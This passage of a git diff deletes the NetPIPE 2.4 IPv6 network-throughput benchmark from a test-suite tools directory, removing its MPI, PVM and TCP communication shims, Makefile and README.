-	MPI_Buffer_attach(messbuff, MAXBUFSIZE);
-#endif
-
-}
-
-void Sync(ArgStruct * p)
-{
-	MPI_Barrier(MPI_COMM_WORLD);
-}
-
-static int recvPosted = 0;
-static MPI_Request recvRequest;
-
-void PrepareToReceive(ArgStruct * p)
-{
-	/*
-	   Providing a buffer for reception of data in advance of
-	   the sender sending the data provides a major performance
-	   boost on some implementations of MPI, particularly shared
-	   memory implementations on the Cray T3E and Intel Paragon.
-	 */
-	if (recvPosted) {
-		printf("Can't prepare to receive: outstanding receive!\n");
-		exit(-1);
-	}
-	MPI_Irecv(p->buff, p->bufflen, MPI_BYTE,
-		  p->prot.nbor, 1, MPI_COMM_WORLD, &recvRequest);
-	recvPosted = -1;
-}
-
-void SendData(ArgStruct * p)
-{
-#ifdef BSEND
-	MPI_Bsend(p->buff, p->bufflen, MPI_BYTE, p->prot.nbor, 1,
-		  MPI_COMM_WORLD);
-#else
-	MPI_Send(p->buff, p->bufflen, MPI_BYTE, p->prot.nbor, 1,
-		 MPI_COMM_WORLD);
-#endif
-}
-
-void RecvData(ArgStruct * p)
-{
-	MPI_Status status;
-	if (recvPosted) {
-		MPI_Wait(&recvRequest, &status);
-		recvPosted = 0;
-	} else {
-		MPI_Recv(p->buff, p->bufflen, MPI_BYTE,
-			 p->prot.nbor, 1, MPI_COMM_WORLD, &status);
-	}
-}
-
-void SendTime(ArgStruct * p, double *t)
-{
-#ifdef BSEND
-	MPI_Bsend(t, 1, MPI_DOUBLE, p->prot.nbor, 2, MPI_COMM_WORLD);
-#else
-	MPI_Send(t, 1, MPI_DOUBLE, p->prot.nbor, 2, MPI_COMM_WORLD);
-#endif
-}
-
-void RecvTime(ArgStruct * p, double *t)
-{
-	MPI_Status status;
-
-	MPI_Recv(t, 1, MPI_DOUBLE, p->prot.nbor, 2, MPI_COMM_WORLD, &status);
-}
-
-void SendRepeat(ArgStruct * p, int rpt)
-{
-#ifdef BSEND
-	MPI_Bsend(&rpt, 1, MPI_INT, p->prot.nbor, 2, MPI_COMM_WORLD);
-#else
-	MPI_Send(&rpt, 1, MPI_INT, p->prot.nbor, 2, MPI_COMM_WORLD);
-#endif
-}
-
-void RecvRepeat(ArgStruct * p, int *rpt)
-{
-	MPI_Status status;
-
-	MPI_Recv(rpt, 1, MPI_INT, p->prot.nbor, 2, MPI_COMM_WORLD, &status);
-}
-
-int Establish(ArgStruct * p)
-{
-}
-
-int CleanUp(ArgStruct * p)
-{
-	MPI_Finalize();
-}
diff --git a/tools/netpipe-2.4-ipv6/MPI.h b/tools/netpipe-2.4-ipv6/MPI.h
deleted file mode 100644
index 85854ef..0000000
--- a/tools/netpipe-2.4-ipv6/MPI.h
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
-  Define the protocol structure to be used by NetPIPE for MPI.
-  */
-
-typedef struct protocolstruct ProtocolStruct;
-struct protocolstruct
-{
-	int nbor, iproc;
-};
-
diff --git a/tools/netpipe-2.4-ipv6/Makefile b/tools/netpipe-2.4-ipv6/Makefile
deleted file mode 100644
index 104b3d3..0000000
--- a/tools/netpipe-2.4-ipv6/Makefile
+++ /dev/null
@@ -1,73 +0,0 @@
-#
-# Makefile for NetPIPE
-# $Id: Makefile,v 1.6 2006/07/04 22:29:03 vapier Exp $
-#
-
-# Default C compiler: must be an ANSI C compiler
-#CC         = cc
-# File names for the main source files
-DRIV_SRC   = netpipe.c
-DRIV_OBJ   = netpipe.o
-INCLUDES   = netpipe.h
-# Default target is just TCP
-TARGETS    = NPtcp-ipv6
-# If you have TCP, MPI and PVM
-#TARGETS    = NPtcp NPmpi NPpvm
-CFLAGS		    += -O -Wall
-# Adjust these for MPI (only used if you have MPI)
-MPI_HOME   = /home/mpich
-MPI_ARCH   = IRIX
-MPI_DEVICE = ch_p4
-# Adjust these for PVM (only used if you have PVM)
-PVM_HOME   = /home/pvm3
-PVM_ARCH   = SUN4SOL2
-# Any extra libraries needed
-EXTRA_LIBS = $(LDFLAGS)
-#EXTRA_LIBS = -lgcc
-
-all: $(TARGETS)
-
-install:
-	@ln -f NPtcp-ipv6 ../../testcases/bin
-#
-# This section of the Makefile is for compiling the binaries
-#
-
-TCP:	NPtcp-ipv6
-	@echo 'NPtcp has been built.'
-
-NPtcp-ipv6:	NPtcp.o TCP.o
-	$(CC) $(CFLAGS) NPtcp.o TCP.o  -o NPtcp-ipv6 $(EXTRA_LIBS)
-
-NPtcp.o:	$(DRIV_SRC) $(INCLUDES)
-	$(CC) $(CFLAGS) -DTCP -c -o NPtcp.o $(DRIV_SRC)
-
-TCP.o:	TCP.c TCP.h $(INCLUDES)
-	$(CC) $(CFLAGS) -DTCP -c TCP.c
-
-MPI:	NPmpi
-	@echo 'NPmpi has been built.'
-
-NPmpi:	NPmpi.o MPI.o
-	$(CC) $(CFLAGS) NPmpi.o MPI.o -o NPmpi  -L $(MPI_HOME)/lib/$(MPI_ARCH)/$(MPI_DEVICE) -lmpi $(EXTRA_LIBS)
-
-NPmpi.o:	$(DRIV_SRC) $(INCLUDES)
-	$(CC) $(CFLAGS) -DMPI -I$(MPI_HOME)/include -c -o NPmpi.o $(DRIV_SRC)
-
-MPI.o:	MPI.c MPI.h $(INCLUDES)
-	$(CC) $(CFLAGS) -DMPI -I$(MPI_HOME)/include -c MPI.c
-
-PVM:	NPpvm
-	@echo 'NPpvm has been built.'
-
-NPpvm:	NPpvm.o PVM.o
-	$(CC) $(CFLAGS) NPpvm.o PVM.o -o NPpvm  -L$(PVM_HOME)/lib/$(PVM_ARCH)/ -lpvm3 $(EXTRA_LIBS)
-
-NPpvm.o:	$(DRIV_SRC) $(INCLUDES)
-	$(CC) $(CFLAGS) -DPVM -I$(PVM_HOME)/include -c -o NPpvm.o $(DRIV_SRC)
-
-PVM.o:	PVM.c PVM.h $(INCLUDES)
-	$(CC) $(CFLAGS) -DPVM -I$(PVM_HOME)/include -c PVM.c
-
-clean:
-	rm -f $(TARGETS) *.o core a.out
diff --git a/tools/netpipe-2.4-ipv6/PVM.c b/tools/netpipe-2.4-ipv6/PVM.c
deleted file mode 100644
index 3ac561e..0000000
--- a/tools/netpipe-2.4-ipv6/PVM.c
+++ /dev/null
@@ -1,192 +0,0 @@
-/*****************************************************************************/
-/* "NetPIPE" -- Network Protocol Independent Performance Evaluator.          */
-/* Copyright 1997, 1998 Iowa State University Research Foundation, Inc.      */
-/*                                                                           */
-/* This program is free software; you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by      */
-/* the Free Software Foundation.  You should have received a copy of the     */
-/* GNU General Public License along with this program; if not, write to the  */
-/* Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.   */
-/*                                                                           */
-/*     * PVM.c              ---- PVM calls source                            */
-/*****************************************************************************/
-#include    "netpipe.h"
-#include    <pvm3.h>
-
-/**********************************************************************/
-/* Set up the communcations system.                                   */
-/*    In pvm, this means to join the parallel machine                 */
-/**********************************************************************/
-int Setup(ArgStruct * p)
-{
-	p->prot.mytid = pvm_mytid();
-#ifdef DEBUG
-	printf("My task id is %d \n", p->prot.mytid);
-#endif
-}
-
-/**********************************************************************/
-/* Establish a link with the other processor                          */
-/*    In pvm, this means to send a simple message, but to keep the    */
-/*    communication line open.  Since the assumption is that we are   */
-/*    starting it by hand on the other machine, we don't know what    */
-/*    the other task id is.                                           */
-/**********************************************************************/
-int Establish(ArgStruct * p)
-{
-	/* Task information for the entire parallel machine (if trans) */
-	int tasks_status;
-	struct pvmtaskinfo *taskp;
-	int ntasks;
-
-	/* Received buffer (if receiver)  */
-	int buffer_id;
-
-	/*
-	   If we are the transmitting side, go find the other one and send
-	   it a message containing our tid. If we are the receiving side,
-	   just wait for a message.
-	 */
-	if (p->tr) {
-#ifdef DEBUG
-		printf("this is the transmitter\n");
-#endif
-		tasks_status = pvm_tasks(0, &ntasks, &taskp);
-		if (ntasks != 2) {
-			printf
-			    ("Error, too many processes in parallel machine \n");
-			printf("Start a clean machine.  n=%d\n", ntasks);
-			exit(-1);
-		}
-
-		/* Since there are two tasks, one is ours the other is the receiver */
-		p->prot.othertid = -1;
-		if (taskp[0].ti_tid == p->prot.mytid) {
-			p->prot.othertid = taskp[1].ti_tid;
-		}
-		if (taskp[1].ti_tid == p->prot.mytid) {
-			p->prot.othertid = taskp[0].ti_tid;
-		}
-		if (p->prot.othertid == -1) {
-			printf("Error, cannot find other (receiving) task \n");
-			printf("Id's:  %d %d  \n", taskp[0].ti_tid,
-			       taskp[1].ti_tid);
-		}
-
-		/* Send the receiver a message.  Tell pvm to keep the channel open */
-
-#ifdef DEBUG
-		printf("The receiver tid is %d \n", p->prot.othertid);
-#endif
-		pvm_setopt(PvmRoute, PvmRouteDirect);
-		pvm_initsend(PVMDATA);
-		pvm_pkint(&p->prot.mytid, 1, 1);
-		pvm_send(p->prot.othertid, 1);
-	} else {
-#ifdef DEBUG
-		printf("This is the receiver \n");
-#endif
-
-		/* Receive any message from any task */
-		buffer_id = pvm_recv(-1, -1);
-
-		if (buffer_id < 0) {
-			printf("Error on receive in receiver\n");
-			exit(-1);
-		}
-		pvm_upkint(&p->prot.othertid, 1, 1);
-	}
-}
-
-/**********************************************************************/
-/* Prepare to receive                                                 */
-/*    In pvm, you cannot set up a reception buffer ahead of time      */
-/**********************************************************************/
-void PrepareToReceive(ArgStruct * p)
-{
-}
-
-/**********************************************************************/
-/* Synchronize                                                        */
-/*     In pvm, this is not necessary                                  */
-/**********************************************************************/
-void Sync(ArgStruct * p)
-{
-}
-
-/**********************************************************************/
-/* Send a buffer full of information                                  */
-/*    In pvm, we use pvm_pkbyte and then send it.                     */
-/**********************************************************************/
-void SendData(ArgStruct * p)
-{
-#ifdef DEBUG
-	printf(" In send \n");
-#endif
-	pvm_initsend(PVMDATA);
-	pvm_pkbyte(p->buff, p->bufflen, 1);
-	pvm_send(p->prot.othertid, 1);
-#ifdef DEBUG
-	printf(" message sent.  Size=%d\n", p->bufflen);
-#endif
-}
-
-/**********************************************************************/
-/* Receive a buffer full of information                               */
-/**********************************************************************/
-void RecvData(ArgStruct * p)
-{
-#ifdef DEBUG
-	printf(" In receive \n");
-#endif
-	pvm_recv(-1, -1);
-	pvm_upkbyte(p->buff, p->bufflen, 1);
-#ifdef DEBUG
-	printf(" message received .  Size=%d \n", p->bufflen);
-#endif
-}
-
-/**********************************************************************/
-/* Send elapsed time to the other process                             */
-/**********************************************************************/
-void SendTime(ArgStruct * p, double *t)
-{
-	pvm_initsend(PVMDATA);
-	pvm_pkdouble(t, 1, 1);
-	pvm_send(p->prot.othertid, 1);
-}
-
-/**********************************************************************/
-/* Receive elapsed time from the other process                        */
-/**********************************************************************/
-void RecvTime(ArgStruct * p, double *t)
-{
-	pvm_recv(-1, -1);
-	pvm_upkdouble(t, 1, 1);
-}
-
-/**********************************************************************/
-/* Send repeat count to the other process                             */
-/**********************************************************************/
-void SendRepeat(ArgStruct * p, int rpt)
-{
-	pvm_initsend(PVMDATA);
-	pvm_pkint(&rpt, 1, 1);
-	pvm_send(p->prot.othertid, 1);
-}
-
-/**********************************************************************/
-/* Receiver repeat count from other process                           */
-/**********************************************************************/
-void RecvRepeat(ArgStruct * p, int *rpt)
-{
-	pvm_recv(-1, -1);
-	pvm_upkint(rpt, 1, 1);
-}
-
-/**********************************************************************/
-/* Close down the connection.
-/**********************************************************************/
-int CleanUp(ArgStruct * p)
-{
-}
diff --git a/tools/netpipe-2.4-ipv6/PVM.h b/tools/netpipe-2.4-ipv6/PVM.h
deleted file mode 100644
index 0e2debc..0000000
--- a/tools/netpipe-2.4-ipv6/PVM.h
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
-  Define the protocol structure to be used by NetPIPE for PVM.
-  */
-
-typedef struct protocolstruct ProtocolStruct;
-
-struct protocolstruct
-{
-    /* Keep track of our task id */
-    int     mytid;
-
-    /* Keep track of the other's task id */
-    int     othertid;
-};
-
-
-/*
-  Undefine one of the following to determine the type of data
-  encoding for the PVM message passing.
-
-  DataDefault means that PVM uses XDR encoding which ensures that
-  the data can be packed / unpacked across non-homogeneous machines.
-
-  If you know that the machines are the same, then you can use DataRaw
-  and save some time.
-
-  DataInPlace means that the data is not copied at pack time, but is
-  copied directly from memory at send time.
-  */
-
-#define PVMDATA     PvmDataDefault
-/* #define PVMDATA     PvmDataRaw */
-/* #define PVMDATA     PvmDataInPlace */
diff --git a/tools/netpipe-2.4-ipv6/README b/tools/netpipe-2.4-ipv6/README
deleted file mode 100644
index 5afe2c9..0000000
--- a/tools/netpipe-2.4-ipv6/README
+++ /dev/null
@@ -1,263 +0,0 @@
-NetPIPE Network Protocol Independent Performance Evaluator, Release 2.4
-Copyright 1997, 1998, 1999 Iowa State University Research Foundation, Inc.
-
-$Id: README,v 1.1 2003/03/28 18:14:44 robbiew Exp $
-
-This program is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation.  You should have received a copy of the
-GNU General Public License along with this program; if not, write to the
-Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-
-The URL for this document:
-
-ftp://ftp.scl.ameslab.gov/pub/netpipe/README
-
-Getting NetPIPE
----------------
-
-The NetPIPE implementation in C can be found at:
-
-ftp://ftp.scl.ameslab.gov/pub/netpipe/netpipe-2.4.tar.gz
-
-The source code for NetPIPE 2.4 is provided as a gzipped tar archive,
-which can be uncompressed with "gunzip netpipe-2.4.tar.gz" (or "gzip
--d netpipe-2.4.tar.gz"), and then extracted from the uncompressed
-archive with the command "tar xvf netpipe-2.4.tar".  If you do not
-have the gzip program, it can be obtained as:
-
-ftp://prep.ai.mit.edu/pub/gnu/gzip-1.2.4.tar
-
-Similarly, the NetPIPE implementation in Java can be found at:
-
-ftp://ftp.scl.ameslab.gov/pub/netpipe-Java-1.0.tar.gz
-
-The instructions that follow apply to the C implementation of
-NetPIPE.
-
-What is NetPIPE?
-----------------
-
-NetPIPE is a protocol independent performance tool that encapsulates
-the best of ttcp and netperf and visually represents the network
-performance under a variety of conditions. By taking the end-to-end
-application view of a network, NetPIPE clearly shows the overhead
-associated with different protocol layers. Netpipe answers such
-questions as: how soon will a given data block of size k arrive at its
-destination? Which network and protocol will transmit size k blocks
-the fastest? What is a given network's effective maximum throughput
-and saturation level?  Does there exist a block size k for which the
-throughput is maximized? How much communication overhead is due to the
-network communication protocol layer(s)? How quickly will a small (< 1
-kbyte) control message arrive, and which network and protocol are best
-for this purpose?
-
-For a paper fully describing NetPIPE and sample investigation of
-network performance issues using NetPIPE, see
-http://www.scl.ameslab.gov/netpipe/paper/full.html.
-
-Building NetPIPE
-----------------
-
-NetPIPE is provided with protocol-specific shims for TCP (using the
-Berkeley sockets interface), MPI, and PVM.  If you do not have MPI or
-PVM, don't worry; TCP is the typical shim used.  It should be easy to
-write new interfaces for other protocols based on the examples shown
-by the TCP, MPI and PVM interfaces.
-
-NetPIPE requires an ANSI C compiler.
-
-Review the provided Makefile and change any necessary settings, such
-as the CFLAGS compiler flags, required extra libraries, and MPI or PVM
-library & include file pathnames if you have these communication
-libraries.  If you want to turn on getrusage calls to get CPU time
-required for communication, add "-DHAVE_GETRUSAGE" to the CFLAGS line
-in the Makefile.
-
-Compile NetPIPE with the desired communication interface by using the
-command "make TCP", "make MPI", or "make PVM" as appropriate,
-corresponding to the executable files NPtcp, NPmpi, or NPpvm
-respectively.
-
-Consult the appropriate section below for details on running NetPIPE
-over TCP, MPI, or PVM, and the following section on interpreting the
-results.
-
-Running NPtcp
--------------
-
-For TCP, run a NetPIPE receiver on one computer by issuing the command
-"NPtcp -r".  Run a NetPIPE sender on another computer by issuing the
-command "NPtcp -t -h <receiver's address> -o <output file> -P" and any
-other options as appropriate (each option affects only the process on
-which it is specified -- options are not negotiated between the
-transmitter and the receiver):
-
-	-A: specify buffers alignment e.g. "-A 4096"
-
-	-a: asynchronous receive (a.k.a. preposted receive)
-		This option currently has no effect on TCP
-
-	-b: specify send and receive TCP buffer sizes e.g. "-b 32768"
-
-	-h: specify hostname of receiver e.g. "-h mumblehost"
-
-	-i: specify increment step size e.g. "-i 64"
-		Default is exponential increment calculated at runtime
-
-	-l: lower bound (start value for block size) e.g. "-l 1"
-
-	-O: specify buffer offset e.g. "-O 127"
-
-	-o: specify output filename e.g. "-o output.txt"
-
-	-P: print real-time results on stdout
-
-	-p: specify port e.g. "-p 5150"
-
-	-s: stream option (default mode is "ping pong")
-		If this option is used, it must be specified on both
-		the sending and receiving processes
-
-	-u: upper bound (stop value for block size) e.g. "-u 1048576"
-
-Running NPmpi
--------------
-
-For MPI, how you run NPmpi may depend on the MPI implementation you
-are using.  Assuming you are using the "p4" device (for a cluster of
-individual systems interconnected using TCP/IP) in the Argonne MPICH
-implementation, you could run NPmpi one of two ways.
-
-	If your system's default machine file begins with the two
-	names of the systems you want to test, use "mpirun -np 2
-	NPmpi", followed by any of the NetPIPE options listed below.
-
-	Otherwise, create a file that contains the host names of the
-	two systems you want to include in the test, one host name on
-	each line (assume the file is named "machines.p4").  Then, use
-	the command "mpirun -machinefile machines.p4 -np 2 NPmpi",
-	followed by any of the NetPIPE options listed below.
-
-To find out how to run NPmpi using any other implementation of MPI,
-please consult the implementation's documentation.
-
-The NetPIPE options for MPI are:
-
-	-A: specify buffers alignment e.g. "-A 4096"
-
-	-a: asynchronous receive (a.k.a. preposted receive)
-		May not have any effect, depending on your MPI
-		implementation
-
-	-i: specify increment step size e.g. "-i 64"
-		Default is exponential increment calculated at runtime
-
-	-l: lower bound (start value for block size) e.g. "-l 1"
-
-	-O: specify buffer offset e.g. "-O 127"
-
-	-o: specify output filename e.g. "-o output.txt"
-
-	-P: print real-time results on stdout
-
-	-s: stream option (default mode is "ping pong")
-		If this option is used, it must be specified on both
-		the sending and receiving processes
-
-	-u: upper bound (stop value for block size) e.g. "-u 1048576"
-
-Running NPpvm
--------------
-
-First, start PVM with the command "pvm" on one machine and a second
-machine with the PVM command "add <othermachine>", where
-<othermachine> is the name of the other computer to include in the
-test.  Exit the PVM command line interface.  Start the receiver
-process on one of the machines with the command "NPpvm -r".  Finally,
-start the transmitter process on the other machine with the command
-"NPpvm -t -o <output file> -P" and any other options as appropriate
-(each option affects only the process on which it is specified --
-options are not negotiated between the transmitter and the receiver):
-
-	-A: specify buffers alignment e.g. "-A 4096"
-
-	-a: asynchronous receive (a.k.a. preposted receive)
-		This option has no effect on PVM
-
-	-i: specify increment step size e.g. "-i 64"
-		Default is exponential increment calculated at runtime
-
-	-l: lower bound (start value for block size) e.g. "-l 1"
-
-	-O: specify buffer offset e.g. "-O 127"
-
-	-o: specify output filename e.g. "-o output.txt"
-
-	-P: print real-time results on stdout
-
-	-s: stream option (default mode is "ping pong")
-		If this option is used, it must be specified on both
-		the sending and receiving processes
-
-	-u: upper bound (stop value for block size) e.g. "-u 1048576"
-
-
-Interpreting the Results
-------------------------
-
-NetPIPE's output file contains five columns: time to transfer the block,
-bits per second, bits in block, bytes in block, and variance.  These
-columns may be graphed to represent and compare the network's
-performance.  For example, the "network signature" graph can be
-created by graphing the time column versus the bits per second column
-(see the NetPIPE report at the URL above for the details why this
-graph is important and how to interpret it).  The more traditional
-"throughput versus block size" graph can be created by
-graphing the bytes column versus the bits per second column.
-
-See http://www.scl.ameslab.gov/Projects/ClusterCookbook/nprun.html for
-a detailed tutorial on running NetPIPE and graphing the results.
-
-Help
-----
-
-NetPIPE is currently maintained by Guy Helmer.  Email
-"ghelmer@scl.ameslab.gov" or call 515-294-9469 for help or
-suggestions.
-
-Changes
--------
-
-version 2.4 (12/16/99)
-   * Add getrusage calls to get CPU time used by communication if
-     HAVE_GETRUSAGE is defined (be aware that no studies have been
-     conducted to test the accuracy of results across different systems)
-   * Use "unsigned int" instead of "unsigned long" to communicate 32-bit
-     integers in TCP.c (this solves interoperability problems between
-     Compaq/DEC Alphas and most other systems)
-   * Add dummy "echo" commands after TCP, MPI, and PVM targets in the
-     Makefile.  Some implementations of make(1) (such as those found
-     in Linux distributions) interpret the targets with no following
-     statements as a rule to do something silly like
-     "cc -O -o TCP TCP.c" after the dependency is satisfied.
-
-version 2.3 (9/24/98)
-   * Add PVM interface contributed by Clark E. Dorman <dorman@s3i.com>
-
-   * Revamp README file with instructions for NPmpi and NPpvm, and
-     clarify some instructions for NPtcp
-
-version 2.2 (8/21/98):
-   * Carefully check all return values from write(2) and read(2)
-     system calls in TCP.c.  Handle short reads properly.  Make the Sync()
-     function transmit and receive a useful string which can be
-     checked for validity.
-
-   * Correct the overloading of SendTime() and RecvTime() functions
-     by breaking out SendRepeat() and RecvRepeat() as separate
-     functions.
-
-   * Handle systems whose accept(2) system call does not carry socket
-     options over from the listening socket.  In particular, set the
-     TCP_NODELAY flag and socket buffers on an accepted socket.
diff --git a/tools/netpipe-2.4-ipv6/TCP.c b/tools/netpipe-2.4-ipv6/TCP.c
deleted file mode 100644
index c4967a2..0000000
--- a/tools/netpipe-2.4-ipv6/TCP.c
+++ /dev/null
@@ -1,384 +0,0 @@
-/*****************************************************************************/
-/* "NetPIPE" -- Network Protocol Independent Performance Evaluator.          */
-/* Copyright 1997, 1998 Iowa State University Research Foundation, Inc.      */
-/*                                                                           */
-/* This program is free software; you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by      */
-/* the Free Software Foundation.  You should have received a copy of the     */
-/* GNU General Public License along with this program; if not, write to the  */
-/* Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.   */
-/*                                                                           */
-/*     * TCP.c              ---- TCP calls source                            */
-/*     * TCP.h              ---- Include file for TCP calls and data structs */
-/* 2002/03/18 --- Modified for IPv6 - Robbie Williamson (robbiew@us.ibm.com) */
-/*****************************************************************************/
-#include    "netpipe.h"
-
-int Setup(ArgStruct * p)
-{
-
-	int tr, one = 1;	/* tr==1 if process is a transmitter */
-	int sr = 0;
-	int sockfd;
-	struct sockaddr *lsin1;
-	char *host;
-	char *server_host;
-	struct addrinfo *addr;
-	struct addrinfo *server_addr;
-	struct addrinfo hints;
-	struct protoent *proto;
-
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET6;
-
-	host = p->host;		/* copy ptr to hostname */
-	server_host = p->server_host;	/* copy ptr to server */
-
-	tr = p->tr;		/* copy tr indicator */
-	sr = p->sr;
-
-	memset(&p->prot.sin1, 0, sizeof(p->prot.sin1));
-	memset(&p->prot.sin2, 0, sizeof(p->prot.sin2));
-
-	if ((sockfd = socket(AF_INET6, SOCK_STREAM, 0)) < 0) {
-		printf("NetPIPE: can't open stream socket! errno=%d\n", errno);
-		exit(-4);
-	}
-
-	if (!(proto = getprotobyname("tcp"))) {
-		printf("NetPIPE: protocol 'tcp' unknown!\n");
-		exit(555);
-	}
-
-	/* Attempt to set TCP_NODELAY */
-	if (setsockopt(sockfd, proto->p_proto, TCP_NODELAY, &one, sizeof(one)) <
-	    0) {
-		printf("NetPIPE: setsockopt: TCP_NODELAY failed! errno=%d\n",
-		       errno);
-		exit(556);
-	}
-
-	/* If requested, set the send and receive buffer sizes */
-	if (p->prot.sndbufsz > 0) {
-		printf("Send and Receive Buffers set to %d bytes\n",
-		       p->prot.sndbufsz);
-		if (setsockopt
-		    (sockfd, SOL_SOCKET, SO_SNDBUF, &(p->prot.sndbufsz),
-		     sizeof(p->prot.sndbufsz)) < 0) {
-			printf
-			    ("NetPIPE: setsockopt: SO_SNDBUF failed! errno=%d\n",
-			     errno);
-			exit(556);
-		}
-		if (setsockopt
-		    (sockfd, SOL_SOCKET, SO_RCVBUF, &(p->prot.rcvbufsz),
-		     sizeof(p->prot.rcvbufsz)) < 0) {
-			printf
-			    ("NetPIPE: setsockopt: SO_RCVBUF failed! errno=%d\n",
-			     errno);
-			exit(556);
-		}
-	}
-
-	if (tr) {		/* if client i.e., Sender */
-
-		if (host) {
-			getaddrinfo(host, NULL, &hints, &addr);
-			memcpy(&p->prot.sin1, addr->ai_addr, addr->ai_addrlen);
-		} else {
-			if ((getaddrinfo(host, NULL, &hints, &addr)) != 0) {
-				printf("NetPIPE: invalid hostname '%s'\n",
-				       host);
-				exit(-5);
-			}
-		}
-		p->prot.sin1.sin6_port = htons(p->port);
-
-	} else {		/* we are the receiver (server) */
-
-		memset(&p->prot.sin1, 0, sizeof(p->prot.sin1));
-		if (sr == 0) {
-			p->prot.sin1.sin6_addr = in6addr_any;
-			p->prot.sin1.sin6_port = htons(p->port);
-			lsin1 = (struct sockaddr *)&p->prot.sin1;
-			if (bind
-			    (sockfd, (struct sockaddr *)lsin1,
-			     sizeof(p->prot.sin1)) < 0) {
-				printf
-				    ("NetPIPE: server: bind on local address failed! errno=%d",
-				     errno);
-				exit(-6);
-			}
-		} else {
-			getaddrinfo(server_host, NULL, NULL, &server_addr);
-			memcpy(&p->prot.sin1, server_addr->ai_addr,
-			       server_addr->ai_addrlen);
-			if ((getaddrinfo(server_host, NULL, NULL, &server_addr))
-			    != 0) {
-				printf("NetPIPE: invalid hostname '%s'\n",
-				       host);
-				exit(-5);
-			}
-			memcpy(&p->prot.sin1, server_addr->ai_addr,
-			       server_addr->ai_addrlen);
-			p->prot.sin1.sin6_port = htons(p->port);
-			lsin1 = (struct sockaddr *)&p->prot.sin1;
-			if (bind
-			    (sockfd, (struct sockaddr *)lsin1,
-			     sizeof(p->prot.sin1)) < 0) {
-				printf
-				    ("NetPIPE: server: bind on %s failed! errno=%d",
-				     server_host, errno);
-				exit(-6);
-			}
-		}
-	}
-
-	if (tr)
-		p->commfd = sockfd;
-	else
-		p->servicefd = sockfd;
-
-	return (0);
-
-}
-
-static int readFully(int fd, void *obuf, int len)
-{
-	int bytesLeft = len;
-	char *buf = (char *)obuf;
-	int bytesRead = 0;
-
-	while (bytesLeft > 0 &&
-	       (bytesRead = read(fd, (void *)buf, bytesLeft)) > 0) {
-		bytesLeft -= bytesRead;
-		buf += bytesRead;
-	}
-	if (bytesRead <= 0)
-		return bytesRead;
-	return len;
-}
-
-void Sync(ArgStruct * p)
-{
-	char s[] = "SyncMe";
-	char response[7];
-
-	if (write(p->commfd, s, strlen(s)) < 0 ||
-	    readFully(p->commfd, response, strlen(s)) < 0) {
-		perror
-		    ("NetPIPE: error writing or reading synchronization string");
-		exit(3);
-	}
-	if (strncmp(s, response, strlen(s))) {
-		fprintf(stderr, "NetPIPE: Synchronization string incorrect!\n");
-		exit(3);
-	}
-}
-
-void PrepareToReceive(ArgStruct * p)
-{
-	/*
-	   The Berkeley sockets interface doesn't have a method to pre-post
-	   a buffer for reception of data.
-	 */
-}
-
-void SendData(ArgStruct * p)
-{
-	int bytesWritten, bytesLeft;
-	char *q;
-
-	bytesLeft = p->bufflen;
-	bytesWritten = 0;
-	q = p->buff;
-	while (bytesLeft > 0 &&
-	       (bytesWritten = write(p->commfd, q, bytesLeft)) > 0) {
-		bytesLeft -= bytesWritten;
-		q += bytesWritten;
-	}
-	if (bytesWritten == -1) {
-		printf("NetPIPE: write: error encountered, errno=%d\n", errno);
-		exit(401);
-	}
-}
-
-void RecvData(ArgStruct * p)
-{
-	int bytesLeft;
-	int bytesRead;
-	char *q;
-
-	bytesLeft = p->bufflen;
-	bytesRead = 0;
-	q = p->buff1;
-	while (bytesLeft > 0 && (bytesRead = read(p->commfd, q, bytesLeft)) > 0) {
-		bytesLeft -= bytesRead;
-		q += bytesRead;
-	}
-	if (bytesLeft > 0 && bytesRead == 0) {
-		printf
-		    ("NetPIPE: \"end of file\" encountered on reading from socket\n");
-	} else if (bytesRead == -1) {
-		printf("NetPIPE: read: error encountered, errno=%d\n", errno);
-		exit(401);
-	}
-}
-
-void SendTime(ArgStruct * p, double *t)
-{
-	unsigned int ltime, ntime;
-
-	/*
-	   Multiply the number of seconds by 1e6 to get time in microseconds
-	   and convert value to an unsigned 32-bit integer.
-	 */
-	ltime = (unsigned int)(*t * 1.e6);
-
-	/* Send time in network order */
-	ntime = htonl(ltime);
-	if (write(p->commfd, (char *)&ntime, sizeof(unsigned int)) < 0) {
-		printf("NetPIPE: write failed in SendTime: errno=%d\n", errno);
-		exit(301);
-	}
-}
-
-void RecvTime(ArgStruct * p, double *t)
-{
-	unsigned int ltime, ntime;
-	int bytesRead;
-
-	bytesRead = readFully(p->commfd, (void *)&ntime, sizeof(unsigned int));
-	if (bytesRead < 0) {
-		printf("NetPIPE: read failed in RecvTime: errno=%d\n", errno);
-		exit(302);
-	} else if (bytesRead != sizeof(unsigned int)) {
-		fprintf(stderr,
-			"NetPIPE: partial read in RecvTime of %d bytes\n",
-			bytesRead);
-		exit(303);
-	}
-	ltime = ntohl(ntime);
-
-	/* Result is ltime (in microseconds) divided by 1.0e6 to get seconds */
-	*t = (double)ltime / 1.0e6;
-}
-
-void SendRepeat(ArgStruct * p, int rpt)
-{
-	unsigned int lrpt, nrpt;
-
-	lrpt = rpt;
-	/* Send repeat count as an unsigned 32 bit integer in network order */
-	nrpt = htonl(lrpt);
-	if (write(p->commfd, (void *)&nrpt, sizeof(unsigned int)) < 0) {
-		printf("NetPIPE: write failed in SendRepeat: errno=%d\n",
-		       errno);
-		exit(304);
-	}
-}
-
-void RecvRepeat(ArgStruct * p, int *rpt)
-{
-	unsigned int lrpt, nrpt;
-	int bytesRead;
-
-	bytesRead = readFully(p->commfd, (void *)&nrpt, sizeof(unsigned int));
-	if (bytesRead < 0) {
-		printf("NetPIPE: read failed in RecvRepeat: errno=%d\n", errno);
-		exit(305);
-	} else if (bytesRead != sizeof(unsigned int)) {
-		fprintf(stderr,
-			"NetPIPE: partial read in RecvRepeat of %d bytes\n",
-			bytesRead);
-		exit(306);
-	}
-	lrpt = ntohl(nrpt);
-
-	*rpt = lrpt;
-}
-
-int Establish(ArgStruct * p)
-{
